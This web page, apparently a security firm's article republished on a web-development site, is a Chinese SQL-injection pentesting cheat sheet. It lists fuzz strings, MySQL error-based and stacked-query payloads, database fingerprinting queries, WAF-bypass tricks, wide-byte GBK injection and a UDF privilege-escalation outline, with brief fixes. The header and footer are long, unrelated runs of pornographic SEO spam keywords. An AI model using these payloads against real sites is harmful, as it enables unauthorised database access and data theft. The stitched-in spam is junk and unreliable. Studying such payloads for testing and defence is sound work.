少妇被粗黑进进出出在线观看_日日摸夜夜爽无码_免费久久_日韩免费视频_热播短剧玫瑰冠冕免费观看_japanese精品少妇

滲透測試對網站注入攻擊方法剖析
  • 更新時間:2025-05-13 16:31:53
  • 開發經驗
  • 發布時間:3年前
  • 541

國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個端口的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對于SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!


3.1 SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術,用于攻擊數據驅動的應用程序。在應用程序中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入字段中執行(例如將數據庫內容轉儲給攻擊者)。


3.1.1.1. 按技巧分類

根據使用的技巧,SQL注入類型可分為


盲注

布爾盲注:只能從應用返回中推斷語句執行后的布爾值

時間盲注:應用沒有明確的回顯,只能使用特定的時間函數來判斷

報錯注入:應用會顯示全部或者部分的報錯信息

堆疊注入:有的應用可以加入 ; 后一次執行多條語句

其他


3.1.1.2. 按獲取數據的方式分類

另外也可以根據獲取數據的方式分為3類

inband

利用Web應用來直接獲取數據

如報錯注入

都是通過站點的響應或者錯誤反饋來提取數據

inference

通過Web的一些反映來推斷數據

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過web應用的其他改變來推斷數據

out of band(OOB)

通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件


3.1.2. 注入檢測

3.1.2.1. 常見的注入點

GET/POST/PUT/DELETE參數

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入點

' / "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引號執行

3.1.2.3. 測試用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 測試列數

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回

3.1.2.5. 報錯注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報錯注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函數的報錯注入在MySQL 5.5.49后的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較后的版本中同樣不再生效。

3.1.2.6. 堆疊注入

;select 1

3.1.2.7. 注釋符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8. 判斷過濾規則

是否有trunc

是否過濾某個字符

是否過濾關鍵字

slash和編碼

3.1.2.9. 獲取信息

判斷數據庫類型

and exists (select * from msysobjects ) > 0 access數據庫

and exists (select * from sysobjects ) > 0 SQLServer數據庫

判斷數據庫表

and exsits (select * from admin)

版本、主機名、用戶名、庫名

表和字段

確定字段數(Order By Select Into)

表名、列名

3.1.2.10. 測試權限

文件操作

讀敏感文件

寫shell

帶外通道

網絡請求

3.1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之后,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。

3.1.4. 數據庫檢測

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))

字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

version

SELECT @@version

SELECT version()

識別用函數

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串連接

'a'||'oracle' --

SELECT CONCAT('some','string')

version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串連接

SELECT 'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 繞過技巧

編碼繞過

大小寫

url編碼

html編碼

十六進制編碼

unicode編碼

注釋

// -- -- + -- - # /**/ ;%00

內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

只過濾了一次時

union => ununionion

相同功能替換

函數替換

substring / mid / sub

ascii / hex / bin

benchmark / sleep

變量替換

user() / @@user

符號和關鍵字

and / &

or / |

HTTP參數

HTTP參數污染

id=1&id=2&id=3 根據容器不同會有不同的結果

HTTP分割注入

緩沖區溢出

一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理

二次注入有長度限制時,通過多句執行的方法改掉數據庫該字段的長度繞過

3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程序員用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之后,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數據庫的連接里面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯系專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數據庫比較會等于admin。

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7595.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: 日本在线播放一区二区三区_特级淫片裸体免费看_男人日b视频_久久精品免费观看_大尺度裸体日韩羞羞xxx_国产精品香蕉人多人在线观看 | 亚洲最大成人免费网站_日本不卡二三区_午夜理论片YY6080影院_欧美激情网站_无码流畅无码福利午夜_老太脱裤子让老头玩xxxxx | 老色鬼永久视频网站_一本一道免费在线_色婷婷亚洲六月婷婷中文字幕_久久青草欧美一区二区三区_男女猛烈激情XX00免费视频_日本理论一二三四高清 | 午夜欧美成人_中文字幕乱人伦高清视频_亚洲AV久久精品狠狠爱AV_爱色av网址_欧美老妇多毛XXXXX极瑞视频_人妻与子交毛片 | 少妇特黄一区二区三区美国毛片_国产综合成色在线视频_久久毛片少妇高潮免费看_二级大黄大片高清在线视频_一级黄色大片在线观看_在线看片人成视频免费无遮挡 | 在线www_91爱搞_久久一区福利视频国_成人网在线免费观看_日本一区二区免费播放_最新网址av | 国产精品18久久久久白浆_国产精品主播一区二区三区_色的视频网站_亚洲AV无码专区国产不卡顿_男生操女生的免费视频_激情综合一区二区迷情校园 | 国产精品欧美日韩一区二区_男女高潮又爽又黄又无遮挡_在线观看免费高清av_中文人妻av久久人妻水蜜桃_99精品又大又爽又粗少妇毛片_亚洲无限资源 | 日本熟妇色videosex_国产成人精品久久二区二区91_国产成人av在线播放不卡_91精品国产高清久久久久久91裸体_欧美一区二区在线不卡_欧美天堂精品久久久久久久噜噜噜 | 精东天美麻豆果冻传媒mv_国产精品自拍小视频_久久精品日产第一区二区三区的特点_东京av在线_精品无码成人片一区二区98_亚洲一区二区在线 | 啊别插了视频高清在线观看_日韩GAY小鲜肉啪啪18禁_99国精产品一区二区三区a片_jzzijzzij亚洲乱熟无码_中文字幕日本视频_人和禽的性视频77777 | 男人和女人日b视频_国产精品高潮呻吟久久av免费动漫_一级偷拍视频_亚欧综合在线_日韩一级在线_亚洲国产最新av片 | 九九视频网_久久国产日本_男人的天堂色欲网HTTP_亚洲大尺度专区无码浪潮AV_亚洲欧美日韩国产综合一区二区_欧美日韩视频无码一区二区三 | 99热新_欧美性成人_91超碰在线播放_91av中文字幕_久re在线_www.久久久久久 | 真实国产乱子伦在线视频_女人来高潮水多视频_亚洲天堂字幕_少妇被粗大的猛烈进出免费视频_久久久成人免费视频_毛片A级放荡的护士 | 粉色午夜视频_国产91精品一区_caopo在线_H无码精品视频在线观看网站_免费啪啪小视频_欧美xxxxxbb | 日韩精品一卡二卡_亚洲精品免费播放_日本极品少妇_性欧美xxxx乳_久久久久一区二区_亚洲AV国产爽歪歪无码 | 亚洲性在线_日本va_韩日美无码精品无码_女色网站_乱码一卡二卡新区永久入口_国产精品丝袜久久久久久免费观看 | caoporn视频_特级毛片a级毛片100免费播放_www.色53色.com_色婷婷久久久久久_在线观看免费的av_久草女人 | 欧美一区亚洲_国产精品久久久久久喷浆_久久9966_亚洲婷婷噜噜_JK制服爆乳裸体自慰流水免费_国产黄色片麻豆 | 亮剑第二部免费观看_午夜毛片免费看_天天爱天天拍天天插_亚洲AV综合色一区二区三区_午夜a狂野欧美一区二区_91久久精品国产91性色tv | 亚洲一区二区三区精品在线_美女网站视频一区_中文字幕黄网_青娱乐毛片_激情综合色五月丁香六月欧美_国产精品羞羞答答xxdd | 久久综合欧美_日本逼逼_九一传媒在线观看_亚洲日韩乱码久久久久久_蜜臀社区_人人玩人人添人人澡 | 成人无遮挡免费网站视频在线观看_亚洲人www_99国产精品久久久_国产亚洲精品久久久麻豆男与男_精品国产SM最大网站_免费精品视频 | 亚洲一本_艳妇乳肉豪妇荡乳后续丁字裤视频_比较有韵味的熟妇无码_97国产婷婷综合在线视频_中国亚洲女人69内射少妇_麻豆传媒在线 无码人妻一区兔费_在线综合+亚洲+欧美中文字幕_欧k影视内射精品视频_亚洲成色在线网站_国产免费99热在线播放_国产永久免费高清在线观看 | blacked欧美极品一区_国产videos久久_国产91久久久_大伊香蕉精品视频在线_一区二区三区在线播放视频_美国少妇性xxxx另类 | 久久久久久久久毛片_日本一区二区视频免费观看_91精品国产99久久久_欧美一区二区在线免费观看_中国美女一区二区三区_免费人成A片在线观看免费 | 国产精品theav_69日本xxxxxxxxx30_中文无码肉感爆乳在线观看_91精品麻豆_欧美二区在线观看_a男人的天堂久久a毛片 | 亚洲女人乱搞_AV无码不卡一区二区三区_50岁四川熟女A片_欧美日韩91_日韩精选一区_免费女人裸体视频无遮挡免费网站 | 有码一区_亚洲欧美日韩中文v在线_91麻豆国产福利在线观看_免费放黄网站在线播放_国产成人午夜福利在线观看_人妻激情另类国产 | 波多野结衣中文在线_丰满多毛少妇做爰视频爽爽和R_91精品毛片_国产精品对白久久久久粗_蜜桃影片在线播放网站免费观看_疯狂做受ⅩⅩⅩⅩ高潮高清视频 | 国产AV无码专区亚洲AV麻豆丫_日韩亚洲在线_人人玩人人添人人澡超碰偷拍_国产三区视频在线观看_oldvideo熟妇日本_久久精品专区 | 国产成人久久精品一区二区三区_成人av网页_色av性av丰满av_久久久精品视频免费观看_国产无人区卡一卡二卡乱码_成人另类视频 | 老色鬼永久视频网站_一本一道免费在线_色婷婷亚洲六月婷婷中文字幕_久久青草欧美一区二区三区_男女猛烈激情XX00免费视频_日本理论一二三四高清 | 波多野结衣中文在线_丰满多毛少妇做爰视频爽爽和R_91精品毛片_国产精品对白久久久久粗_蜜桃影片在线播放网站免费观看_疯狂做受ⅩⅩⅩⅩ高潮高清视频 | 中国a级黄色片_一级做a爰片久久高潮_国产伦精品一区二区三区视频网站_成人免费无码A片免费看软件_一道本不卡_日日干天天插 | www.日韩精品_欧美超大胆裸体XX视频_ā片在线观看_国产区第一页_紧缚奴在线一区二区三区_老太奶性BBwBBWBBw | 未满十八勿入AV网免费_亚洲精品视频专区_www.狠狠爱_欧美日韩国产一区二区三区地区_ofozy99国产_久久中文精品 | 久久天堂亚洲_VA欧美国产在线视频_三年成全免费高清大全_少妇福利_免费一级毛片在线播放视频老_粉嫩高中生的第一次 | 美女张开腿露出尿口与奶头的照片_亚洲综合精品第一页_国产一二三四区中_深夜福利视频在线_欧洲精品码一区二区三区_99re8精品视频在线观看 | 真实的国产乱xxxx在线_91麻豆国产在线_另类亚洲图片激情欧美_18岁毛片_久久久午夜_中文字幕熟妇人妻在线视频 |